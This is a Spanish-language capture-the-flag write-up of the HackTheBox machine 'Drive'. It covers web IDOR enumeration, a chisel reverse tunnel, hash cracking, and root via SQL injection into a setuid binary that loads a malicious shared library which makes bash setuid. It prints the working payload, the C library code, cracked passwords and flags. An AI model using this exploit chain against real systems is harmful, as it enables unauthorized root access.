Drive es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Drive 10.129.123.20 a /etc/hosts como drive.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 |
$ nmap -sS -p- --open --min-rate 5000 -vvv -n -oA enumeration/nmap1 10.129.123.20 Nmap scan report for 10.129.123.20 Host is up, received reset ttl 63 (0.075s latency). Scanned at 2023-10-16 14:03:02 GMT for 14s Not shown: 64284 closed tcp ports (reset), 1249 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Mon Oct 16 14:03:16 2023 -- 1 IP address (1 host up) scanned in 14.55 seconds |
Descubiertos los puertos lanzamos un segundo escaneo más detallado
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
$ nmap -sCV -p 22,80 -oA enumeration/nmap2 10.129.123.20 Nmap scan report for 10.129.123.20 Host is up (0.043s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA) | 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA) |_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://drive.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Oct 16 14:03:40 2023 -- 1 IP address (1 host up) scanned in 9.83 seconds |
Enumeración
Accedemos a través del navegador al portal web en el puerto 80 y vemos la siguiente página web

Navegamos por la misma y encontramos una página con ficheros en la uri /home

Y podemos visualizar el fichero a través de la url
|
1 |
http://drive.htb/100/getFileDetail/ |

Navegamos por la página, creamos una cuenta y vemos que podemos realizar diferentes acciones, crear ficheros, actualizarlos, bloquearlos o desbloquearlos, pero seguro que hay algún fichero más.
Así que realizaremos un ataque de enumeración, debido a que necesitamos estar logueados y por sencillez utilizamos burp ya que lo teníamos abierto para las pruebas y detectamos varios ficheros más a los cuales no tenemos acceso

Probamos con las diferentes uris encontradas y vemos que no hay validación con la uri /block y conseguimos leer un fichero

Leemos todos los ficheros y encontramos en uno una parte interesante que habla acerca de unos backups

Y en otro encontramos unas credenciales que vamos a utilizar para conectar por ssh con el usuario martin
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 |
$ ssh martin@drive.htb The authenticity of host 'drive.htb (10.129.123.20)' can't be established. ED25519 key fingerprint is SHA256:peISHngFC65Dty34JUO7mwuE89m2GA0Z8GUFC7skwa0. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'drive.htb' (ED25519) to the list of known hosts. martin@drive.htb's password: Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-164-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 16 Oct 2023 02:33:19 PM UTC System load: 0.0 Usage of /: 63.1% of 5.07GB Memory usage: 21% Swap usage: 0% Processes: 228 Users logged in: 0 IPv4 address for eth0: 10.129.123.20 IPv6 address for eth0: dead:beef::250:56ff:fe96:f9b Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update martin@drive:~$ id uid=1001(martin) gid=1001(martin) groups=1001(martin) |
Escalado al usuario tom
El usuario martin no puede leer la flag así que necesitaremos enumerar y escalar a otro usuario para poder obtenerla.
Revisamos los backups que mencionaba en uno de los ficheros del portal
|
1 2 3 4 5 6 7 |
martin@drive:/var/www/backups$ ls -l total 3732 -rw-r--r-- 1 www-data www-data 13018 Sep 1 20:00 1_Dec_db_backup.sqlite3.7z -rw-r--r-- 1 www-data www-data 12226 Sep 1 20:00 1_Nov_db_backup.sqlite3.7z -rw-r--r-- 1 www-data www-data 12722 Sep 1 20:00 1_Oct_db_backup.sqlite3.7z -rw-r--r-- 1 www-data www-data 12770 Sep 1 20:00 1_Sep_db_backup.sqlite3.7z -rwxr-xr-x 1 root root 3760128 Dec 26 2022 db.sqlite3 |
Pero no podemos extraer su contenido debido a que nos solicita una password que no tenemos, así que seguimos con la enumeración y encontramos un portal web en el puerto 3000
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
martin@drive:/var/www/backups$ netstat -ant Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:33060 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 1 10.129.123.20:56910 1.1.1.1:53 SYN_SENT tcp 0 1 10.129.123.20:47344 8.8.8.8:53 SYN_SENT tcp 0 0 10.129.123.20:80 10.10.14.35:51742 TIME_WAIT tcp 0 208 10.129.123.20:22 10.10.14.35:59558 ESTABLISHED tcp6 0 0 :::80 :::* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 :::3000 :::* LISTEN |
Levantamos chisel
|
1 2 3 4 5 |
$ ./chisel server --reverse --port 8000 2023/10/16 14:38:17 server: Reverse tunnelling enabled 2023/10/16 14:38:17 server: Fingerprint 1YT0Rs8Jog6CeOIXR8bKJ6pAT+Fp90CVFmDOGVsIcxI= 2023/10/16 14:38:17 server: Listening on http://0.0.0.0:8000 2023/10/16 14:38:56 server: session#1: tun: proxy#R:3000=>3000: Listening |
Nos mandamos el puerto a local
|
1 |
$ ./chisel client 10.10.14.35:8000 R:3000:127.0.0.1:3000 & |
Y accedemos viendo que se trata de gitea

Accedemos al mismo con las credenciales obtenidas, pero añadiendo al usuario el dominio de correo quedando
|
1 |
martin@drive.htb |
Y vemos el repositorio donde se encuentra el script que realiza el backup

Revisamos el script y tenemos la password

Así que descargamos los ficheros
|
1 2 3 4 5 6 7 |
$ scp martin@drive.htb:/var/www/backups/* . martin@drive.htb's password: 1_Dec_db_backup.sqlite3.7z 100% 13KB 118.7KB/s 00:00 1_Nov_db_backup.sqlite3.7z 100% 12KB 109.9KB/s 00:00 1_Oct_db_backup.sqlite3.7z 100% 12KB 117.0KB/s 00:00 1_Sep_db_backup.sqlite3.7z 100% 12KB 120.5KB/s 00:00 db.sqlite3 |
Extraemos su contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
$ 7za x 1_Dec_db_backup.sqlite3.7z 7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-8550U CPU @ 1.80GHz (806EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 13018 bytes (13 KiB) Extracting archive: 1_Dec_db_backup.sqlite3.7z -- Path = 1_Dec_db_backup.sqlite3.7z Type = 7z Physical Size = 13018 Headers Size = 170 Method = LZMA2:22 7zAES Solid = - Blocks = 1 Enter password (will not be echoed): Everything is Ok Size: 3760128 Compressed: 13018 |
Y vemos que en los mismos hay diferentes versiones de una misma base de datos en sqlite así que abrimos uno de ellos y encontramos varios hashes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ sqlite3 db_1.sqlite3 SQLite version 3.42.0 2023-05-16 12:36:15 Enter ".help" for usage hints. sqlite> .tables accounts_customuser auth_permission accounts_customuser_groups django_admin_log accounts_customuser_user_permissions django_content_type accounts_g django_migrations accounts_g_users django_session auth_group myApp_file auth_group_permissions myApp_file_groups sqlite> select * from accounts_customuser ...> ; 21|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a|2022-12-26 05:48:27.497873|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04 22|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f|2022-12-24 12:55:10|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02 23|sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a|2022-12-24 13:17:45|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45 24|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f|2022-12-24 16:51:53|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15 30|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3|2022-12-26 05:43:40.388717|1|admin|||admin@drive.htb|1|1|2022-12-26 05:30:58.003372 |
Guardamos todos los hashes sha1 en un fichero y los pasamos por hashcat para obtener varias passwords en plano
|
1 2 3 4 5 6 7 |
$ hashcat -m 124 hashes /usr/share/wordlists/rockyou.txt ... sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316 sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7 ... |
Testeamos las mismas y con una de ellas conseguimos escalar al usuario tom
|
1 2 3 4 |
martin@drive:~$ su - tom Password: tom@drive:~$ id uid=1003(tom) gid=1003(tom) groups=1003(tom) |
Obteniendo la flag de user
Una vez que tenemos acceso con el usuario tom simplemente cogemos la flag de su home
|
1 2 3 4 5 6 7 8 |
tom@drive:~$ ls -l total 876 -rwSr-x--- 1 root tom 887240 Sep 13 13:36 doodleGrive-cli -rw-r----- 1 root tom 719 Feb 11 2023 README.txt -rw-r----- 1 root tom 33 Oct 15 23:56 user.txt tom@drive:~$ cat user.txt 4bf02c4ce42b4e8401d2811c1e895e7a tom@drive:~$ |
Escalado de privilegios
En la misma home del usuario tom vemos un binario ELF
|
1 2 |
tom@drive:~$ file doodleGrive-cli doodleGrive-cli: setuid ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=8c72c265a73f390aa00e69fc06d96f5576d29284, for GNU/Linux 3.2.0, not stripped |
Y un fichero README
|
1 2 3 4 5 6 7 8 |
tom@drive:~$ cat README.txt Hi team after the great success of DoodleGrive, we are planning now to start working on our new project: "DoodleGrive self hosted",it will allow our customers to deploy their own documents sharing platform privately on thier servers... However in addition with the "new self Hosted release" there should be a tool(doodleGrive-cli) to help the IT team in monitoring server status and fix errors that may happen. As we mentioned in the last meeting the tool still in the development phase and we should test it properly... We sent the username and the password in the email for every user to help us in testing the tool and make it better. If you face any problem, please report it to the development team. Best regards. |
Bueno en el fichero informa de que ha creado un binario para poder levantar DoodleDrive on premise para que cada cliente almacene sus propios documentos e indica que cada usuario a recibido su password por correo, pero en nuestro caso no tenemos ninguna password, así que descargamos el binario para su análisis.
Analizamos el binario con ghidra y encontramos en la función main el usuario y password necesarios para ejecutar el binario

Revisamos también las funciones existentes y encontramos que la función 5 es vulnerable a sqli ya que no valida los datos, además es vulnerable a un bof debido a que provoca un desbordamiento de la pila al superar los 39 caracteres y provocando que pase a una nueva ejecución en la continuación del mismo.

Si revisamos más a fondo esta parte vemos que también es posible cargar una librería local del sistema desde la misma home del usuario tom así que vamos a hacer algunas pruebas a ver por donde abordarlo.
Lanzamos una primera ejecución
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
tom@drive:~$ ./doodleGrive-cli [!]Caution this tool still in the development phase...please report any issue to the development team[!] Enter Username: moriarty Enter password for moriarty: findMeIfY0uC@nMr.Holmz! Welcome...! doodleGrive cli beta-2.2: 1. Show users list and info 2. Show groups list 3. Check server health and status 4. Show server requests log (last 1000 request) 5. activate user account 6. Exit Select option: |
Y después de hacer varias pruebas obtenemos una ejecución arbitraria gracias a la librería de linux.
Así que para ello creamos y compilamos nuestra librería con el siguiente código que nos permita dar permisos de suid al binario de bash
|
1 2 3 4 5 6 7 8 |
#include <stdlib.h> #include <unistd.h> void _init() { setuid(0); setgid(0); system("/usr/bin/chmod +s /bin/bash"); } |
Y compilamos
|
1 |
$ gcc -shared lib.c -o e.so -nostartfiles -fPIC |
Volvemos a ejecutar el binario y en la opción 5 introduciremos el siguiente texto para cargar nuestra librería
|
1 |
"+load_extension(char(46,47,101))+" |
Donde los chars utilizados corresponderían a
|
1 2 3 |
46 -> . 47 -> / 101 -> e |
Ejecutamos y vemos que ha cargado la librería y ha devuelto un error debido a que no entiende la query
|
1 2 3 4 5 6 7 8 9 10 11 |
doodleGrive cli beta-2.2: 1. Show users list and info 2. Show groups list 3. Check server health and status 4. Show server requests log (last 1000 request) 5. activate user account 6. Exit Select option: 5 Enter username to activate account: "+load_extension(char(46,47,101))+" Activating account for user '"+load_extension(char(46,47,101))+"'... Error: ./e.so: undefined symbol: sqlite3_e_init |
Pero si revisamos el binario de bash ha funcionado
|
1 2 |
tom@drive:~$ ls -l /bin/bash -rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash |
Así que una vez asignados los permisos escalamos
|
1 2 3 |
tom@drive:~$ bash -p bash-5.0# id uid=1003(tom) gid=1003(tom) euid=0(root) egid=0(root) groups=0(root),1003(tom) |
Obteniendo la flag de root
Y cogemos la flag
|
1 2 |
bash-5.0# cat /root/root.txt ec337b65331f4554cfabaab4a81bdb42 |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace










